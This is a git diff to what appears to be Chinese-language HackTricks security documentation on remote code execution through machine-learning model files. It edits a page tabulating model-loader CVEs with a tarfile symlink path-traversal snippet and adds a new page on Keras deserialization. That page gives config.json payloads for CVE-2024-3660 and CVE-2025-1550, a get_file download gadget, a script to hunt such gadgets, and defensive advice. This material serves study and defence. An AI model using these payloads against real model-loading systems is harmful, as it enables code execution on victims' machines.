diff --git a/src/AI/AI-Models-RCE.md b/src/AI/AI-Models-RCE.md index 008458cc6..7bbdded51 100644 --- a/src/AI/AI-Models-RCE.md +++ b/src/AI/AI-Models-RCE.md @@ -2,13 +2,13 @@ {{#include ../banners/hacktricks-training.md}} -## Loading models to RCE +## 加载模型到 RCE -机器学习模型通常以不同格式共享,例如 ONNX、TensorFlow、PyTorch 等。这些模型可以加载到开发者的机器或生产系统中使用。通常情况下,模型不应包含恶意代码,但在某些情况下,模型可以被用来在系统上执行任意代码,作为预期功能或由于模型加载库中的漏洞。 +机器学习模型通常以不同格式共享,如 ONNX、TensorFlow、PyTorch 等。这些模型可以加载到开发者的机器或生产系统中使用。通常情况下,模型不应包含恶意代码,但在某些情况下,模型可以被用来在系统上执行任意代码,作为预期功能或由于模型加载库中的漏洞。 在撰写时,这里有一些此类漏洞的示例: -| **框架 / 工具** | **漏洞 (如果有 CVE)** | **RCE 向量** | **参考** | +| **框架 / 工具** | **漏洞 (如果有 CVE)** | **RCE 向量** | **参考** | |-----------------------------|------------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------|----------------------------------------------| | **PyTorch** (Python) | *不安全的反序列化在* `torch.load` **(CVE-2025-32434)** | 恶意 pickle 在模型检查点中导致代码执行(绕过 `weights_only` 保护) | | | PyTorch **TorchServe** | *ShellTorch* – **CVE-2023-43654**, **CVE-2022-1471** | SSRF + 恶意模型下载导致代码执行;管理 API 中的 Java 反序列化 RCE | | @@ -20,10 +20,10 @@ | ONNX Runtime (设计风险) | *(无 CVE)* ONNX 自定义操作 / 控制流 | 带有自定义操作符的模型需要加载攻击者的本地代码;复杂的模型图滥用逻辑以执行意外计算 | | | **NVIDIA Triton Server** | **CVE-2023-31036** (路径遍历) | 使用启用 `--model-control` 的模型加载 API 允许相对路径遍历以写入文件(例如,覆盖 `.bashrc` 以实现 RCE) | | | **GGML (GGUF 格式)** | **CVE-2024-25664 … 25668** (多个堆溢出) | 格式错误的 GGUF 模型文件导致解析器中的堆缓冲区溢出,使得在受害者系统上执行任意代码 | | -| **Keras (旧格式)** | *(无新 CVE)* 旧版 Keras H5 模型 | 恶意 HDF5 (`.h5`) 模型中的 Lambda 层代码在加载时仍然执行(Keras 安全模式不覆盖旧格式 – “降级攻击”) | | -| **其他** (一般) | *设计缺陷* – Pickle 序列化 | 许多 ML 工具(例如,基于 pickle 的模型格式,Python `pickle.load`)将执行嵌入模型文件中的任意代码,除非采取缓解措施 | | +| **Keras (旧格式)** | *(无新 CVE)* 旧版 Keras H5 模型 | 恶意 HDF5 (`.h5`) 模型中的 Lambda 层代码在加载时仍然执行(Keras safe_mode 不覆盖旧格式 – “降级攻击”) | | +| **其他** (一般) | *设计缺陷* – Pickle 序列化 | 许多 ML 工具(例如,基于 pickle 的模型格式,Python `pickle.load`)将在未缓解的情况下执行嵌入模型文件中的任意代码 | | -此外,还有一些基于 Python pickle 的模型,例如 [PyTorch](https://github.com/pytorch/pytorch/security) 使用的模型,如果不使用 `weights_only=True` 加载,则可能被用来在系统上执行任意代码。因此,任何基于 pickle 的模型可能特别容易受到此类攻击,即使它们未在上表中列出。 +此外,还有一些基于 Python pickle 的模型,如 [PyTorch](https://github.com/pytorch/pytorch/security) 使用的模型,如果不使用 `weights_only=True` 加载,则可能被用来在系统上执行任意代码。因此,任何基于 pickle 的模型可能特别容易受到此类攻击,即使它们未在上表中列出。 ### 🆕 通过 `torch.load` 调用 InvokeAI RCE (CVE-2024-12029) @@ -81,7 +81,7 @@ timeout=5, * 升级到 **InvokeAI ≥ 5.4.3** – 补丁默认将 `scan=True`,并在反序列化之前执行恶意软件扫描。 * 在程序中加载检查点时使用 `torch.load(file, weights_only=True)` 或新的 [`torch.load_safe`](https://pytorch.org/docs/stable/serialization.html#security) 辅助工具。 -* 强制执行模型来源的允许列表/签名,并以最小权限运行服务。 +* 强制执行模型源的允许列表/签名,并以最小权限运行服务。 > ⚠️ 请记住,**任何** 基于 Python pickle 的格式(包括许多 `.pt`、`.pkl`、`.ckpt`、`.pth` 文件)从不受信任的来源反序列化本质上是不安全的。 @@ -131,11 +131,11 @@ model.load_state_dict(torch.load("malicious_state.pth", weights_only=False)) # /tmp/pwned.txt is created even if you get an error ``` -## 模型到路径遍历 +## Models to Path Traversal -正如在 [**这篇博客文章**](https://blog.huntr.com/pivoting-archive-slip-bugs-into-high-value-ai/ml-bounties) 中所述,不同 AI 框架使用的大多数模型格式基于归档,通常是 `.zip`。因此,可能可以利用这些格式执行路径遍历攻击,从而允许读取加载模型的系统中的任意文件。 +正如在[**这篇博客文章**](https://blog.huntr.com/pivoting-archive-slip-bugs-into-high-value-ai/ml-bounties)中所述,不同AI框架使用的大多数模型格式基于归档,通常是`.zip`。因此,可能可以利用这些格式执行路径遍历攻击,从而允许读取加载模型的系统中的任意文件。 -例如,使用以下代码,您可以创建一个模型,当加载时将在 `/tmp` 目录中创建一个文件: +例如,使用以下代码,您可以创建一个模型,当加载时将在`/tmp`目录中创建一个文件: ```python import tarfile @@ -161,9 +161,17 @@ with tarfile.open("symlink_demo.model", "w:gz") as tf: tf.add(pathlib.Path(PAYLOAD).parent, filter=link_it) tf.add(PAYLOAD) # rides the symlink ``` -## 参考 +### 深入探讨:Keras .keras 反序列化和小工具搜索 -- [OffSec 博客 – "CVE-2024-12029 – InvokeAI 不可信数据的反序列化"](https://www.offsec.com/blog/cve-2024-12029/) +有关 .keras 内部结构、Lambda-layer RCE、≤ 3.8 中的任意导入问题以及修复后在允许列表中发现的小工具的详细指南,请参见: + +{{#ref}} +../generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md +{{#endref}} + +## 参考文献 + +- [OffSec 博客 – "CVE-2024-12029 – InvokeAI 不受信任数据的反序列化"](https://www.offsec.com/blog/cve-2024-12029/) - [InvokeAI 补丁提交 756008d](https://github.com/invoke-ai/invokeai/commit/756008dc5899081c5aa51e5bd8f24c1b3975a59e) - [Rapid7 Metasploit 模块文档](https://www.rapid7.com/db/modules/exploit/linux/http/invokeai_rce_cve_2024_12029/) - [PyTorch – torch.load 的安全考虑](https://pytorch.org/docs/stable/notes/serialization.html#security) diff --git a/src/SUMMARY.md b/src/SUMMARY.md index e7e49e187..781ca1ac5 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -69,6 +69,7 @@ - [Bypass Python sandboxes](generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md) - [LOAD_NAME / LOAD_CONST opcode OOB Read](generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md) - [Class Pollution (Python's Prototype Pollution)](generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md) + - [Keras Model Deserialization Rce And Gadget Hunting](generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md) - [Python Internal Read Gadgets](generic-methodologies-and-resources/python/python-internal-read-gadgets.md) - [Pyscript](generic-methodologies-and-resources/python/pyscript.md) - [venv](generic-methodologies-and-resources/python/venv.md) diff --git a/src/generic-methodologies-and-resources/python/README.md b/src/generic-methodologies-and-resources/python/README.md index 51540aa33..aa6e8728c 100644 --- a/src/generic-methodologies-and-resources/python/README.md +++ b/src/generic-methodologies-and-resources/python/README.md @@ -2,10 +2,11 @@ {{#include ../../banners/hacktricks-training.md}} -**值得查看的页面:** +**值得查看的有趣页面:** - [**Pyscript 黑客技巧**](pyscript.md) - [**Python 反序列化**](../../pentesting-web/deserialization/README.md) +- [**Keras 模型反序列化 RCE 和小工具搜索**](keras-model-deserialization-rce-and-gadget-hunting.md) - [**绕过 Python 沙箱的技巧**](bypass-python-sandboxes/README.md) - [**基本的 Python 网络请求语法**](web-requests.md) - [**基本的 Python 语法和库**](basic-python.md) diff --git a/src/generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md b/src/generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md new file mode 100644 index 000000000..f505833a5 --- /dev/null +++ b/src/generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md @@ -0,0 +1,207 @@ +# Keras模型反序列化RCE和小工具搜索 + +{{#include ../../banners/hacktricks-training.md}} + +本页总结了针对Keras模型反序列化管道的实用利用技术,解释了本地.keras格式的内部结构和攻击面,并提供了一个研究人员工具包,用于查找模型文件漏洞(MFVs)和后修复小工具。 + +## .keras模型格式内部结构 + +一个.keras文件是一个ZIP归档,至少包含: +- metadata.json – 通用信息(例如,Keras版本) +- config.json – 模型架构(主要攻击面) +- model.weights.h5 – HDF5中的权重 + +config.json驱动递归反序列化:Keras导入模块,解析类/函数,并从攻击者控制的字典中重建层/对象。 + +Dense层对象的示例代码片段: +```json +{ +"module": "keras.layers", +"class_name": "Dense", +"config": { +"units": 64, +"activation": { +"module": "keras.activations", +"class_name": "relu" +}, +"kernel_initializer": { +"module": "keras.initializers", +"class_name": "GlorotUniform" +} +} +} +``` +反序列化执行: +- 从模块/class_name 键导入模块和符号解析 +- 使用攻击者控制的 kwargs 调用 from_config(...) 或构造函数 +- 递归进入嵌套对象(激活、初始化器、约束等) + +历史上,这向攻击者构造 config.json 暴露了三个原语: +- 控制导入哪些模块 +- 控制解析哪些类/函数 +- 控制传递给构造函数/from_config 的 kwargs + +## CVE-2024-3660 – Lambda-layer 字节码 RCE + +根本原因: +- Lambda.from_config() 使用 python_utils.func_load(...),该函数对攻击者字节进行 base64 解码并调用 marshal.loads();Python 反序列化可以执行代码。 + +利用思路(config.json 中的简化有效载荷): +```json +{ +"module": "keras.layers", +"class_name": "Lambda", +"config": { +"name": "exploit_lambda", +"function": { +"function_type": "lambda", +"bytecode_b64": "" +} +} +} +``` +缓解措施: +- Keras 默认强制 safe_mode=True。除非用户明确选择 safe_mode=False,否则 Lambda 中的序列化 Python 函数会被阻止。 + +注意事项: +- 旧格式(较旧的 HDF5 保存)或旧代码库可能不执行现代检查,因此当受害者使用旧加载器时,“降级”风格的攻击仍然适用。 + +## CVE-2025-1550 – Keras ≤ 3.8 中的任意模块导入 + +根本原因: +- _retrieve_class_or_fn 使用了不受限制的 importlib.import_module(),并从 config.json 中获取攻击者控制的模块字符串。 +- 影响:可以任意导入任何已安装的模块(或攻击者植入的模块在 sys.path 上)。导入时代码运行,然后使用攻击者的 kwargs 进行对象构造。 + +利用思路: +```json +{ +"module": "maliciouspkg", +"class_name": "Danger", +"config": {"arg": "val"} +} +``` +安全改进 (Keras ≥ 3.9): +- 模块白名单:导入限制为官方生态模块:keras, keras_hub, keras_cv, keras_nlp +- 安全模式默认:safe_mode=True 阻止不安全的 Lambda 序列化函数加载 +- 基本类型检查:反序列化对象必须匹配预期类型 + +## 白名单内的后修复 gadget 表面 + +即使有白名单和安全模式,允许的 Keras 可调用对象之间仍然存在广泛的表面。例如,keras.utils.get_file 可以将任意 URL 下载到用户可选择的位置。 + +通过引用允许函数的 Lambda 的 gadget(不是序列化的 Python 字节码): +```json +{ +"module": "keras.layers", +"class_name": "Lambda", +"config": { +"name": "dl", +"function": {"module": "keras.utils", "class_name": "get_file"}, +"arguments": { +"fname": "artifact.bin", +"origin": "https://example.com/artifact.bin", +"cache_dir": "/tmp/keras-cache" +} +} +} +``` +重要限制: +- Lambda.call() 在调用目标可调用对象时,将输入张量作为第一个位置参数添加。选择的 gadget 必须能够容忍额外的位置参数(或接受 *args/**kwargs)。这限制了可行函数的选择。 + +允许的 gadget 的潜在影响: +- 任意下载/写入(路径植入,配置中毒) +- 根据环境的网络回调/类似 SSRF 的效果 +- 如果写入的路径随后被导入/执行或添加到 PYTHONPATH,或者如果存在可写的执行时写入位置,则链式调用到代码执行 + +## 研究人员工具包 + +1) 在允许的模块中系统地发现 gadget + +枚举 keras、keras_nlp、keras_cv、keras_hub 中的候选可调用对象,并优先考虑那些具有文件/网络/进程/环境副作用的对象。 +```python +import importlib, inspect, pkgutil + +ALLOWLIST = ["keras", "keras_nlp", "keras_cv", "keras_hub"] + +seen = set() + +def iter_modules(mod): +if not hasattr(mod, "__path__"): +return +for m in pkgutil.walk_packages(mod.__path__, mod.__name__ + "."): +yield m.name + +candidates = [] +for root in ALLOWLIST: +try: +r = importlib.import_module(root) +except Exception: +continue +for name in iter_modules(r): +if name in seen: +continue +seen.add(name) +try: +m = importlib.import_module(name) +except Exception: +continue +for n, obj in inspect.getmembers(m): +if inspect.isfunction(obj) or inspect.isclass(obj): +sig = None +try: +sig = str(inspect.signature(obj)) +except Exception: +pass +doc = (inspect.getdoc(obj) or "").lower() +text = f"{name}.{n} {sig} :: {doc}" +# Heuristics: look for I/O or network-ish hints +if any(x in doc for x in ["download", "file", "path", "open", "url", "http", "socket", "env", "process", "spawn", "exec"]): +candidates.append(text) + +print("\n".join(sorted(candidates)[:200])) +``` +2) 直接反序列化测试(不需要 .keras 存档) + +将精心制作的字典直接输入 Keras 反序列化器,以了解接受的参数并观察副作用。 +```python +from keras import layers + +cfg = { +"module": "keras.layers", +"class_name": "Lambda", +"config": { +"name": "probe", +"function": {"module": "keras.utils", "class_name": "get_file"}, +"arguments": {"fname": "x", "origin": "https://example.com/x"} +} +} + +layer = layers.deserialize(cfg, safe_mode=True) # Observe behavior +``` +3) 跨版本探测和格式 + +Keras 存在于多个代码库/时代,具有不同的保护措施和格式: +- TensorFlow 内置 Keras: tensorflow/python/keras (遗留,计划删除) +- tf-keras: 单独维护 +- 多后端 Keras 3 (官方): 引入原生 .keras + +在代码库和格式之间重复测试 (.keras 与遗留 HDF5) 以发现回归或缺失的保护措施。 + +## 防御建议 + +- 将模型文件视为不受信任的输入。仅从受信任的来源加载模型。 +- 保持 Keras 更新;使用 Keras ≥ 3.9 以受益于白名单和类型检查。 +- 加载模型时不要设置 safe_mode=False,除非您完全信任该文件。 +- 考虑在一个沙箱、最低特权的环境中运行反序列化,且没有网络出口并限制文件系统访问。 +- 在可能的情况下,强制执行模型来源和完整性检查的白名单/签名。 + +## 参考文献 + +- [Hunting Vulnerabilities in Keras Model Deserialization (huntr blog)](https://blog.huntr.com/hunting-vulnerabilities-in-keras-model-deserialization) +- [Keras PR #20751 – Added checks to serialization](https://github.com/keras-team/keras/pull/20751) +- [CVE-2024-3660 – Keras Lambda deserialization RCE](https://nvd.nist.gov/vuln/detail/CVE-2024-3660) +- [CVE-2025-1550 – Keras arbitrary module import (≤ 3.8)](https://nvd.nist.gov/vuln/detail/CVE-2025-1550) +- [huntr report – arbitrary import #1](https://huntr.com/bounties/135d5dcd-f05f-439f-8d8f-b21fdf171f3e) +- [huntr report – arbitrary import #2](https://huntr.com/bounties/6fcca09c-8c98-4bc5-b32c-e883ab3e4ae3) + +{{#include ../../banners/hacktricks-training.md}}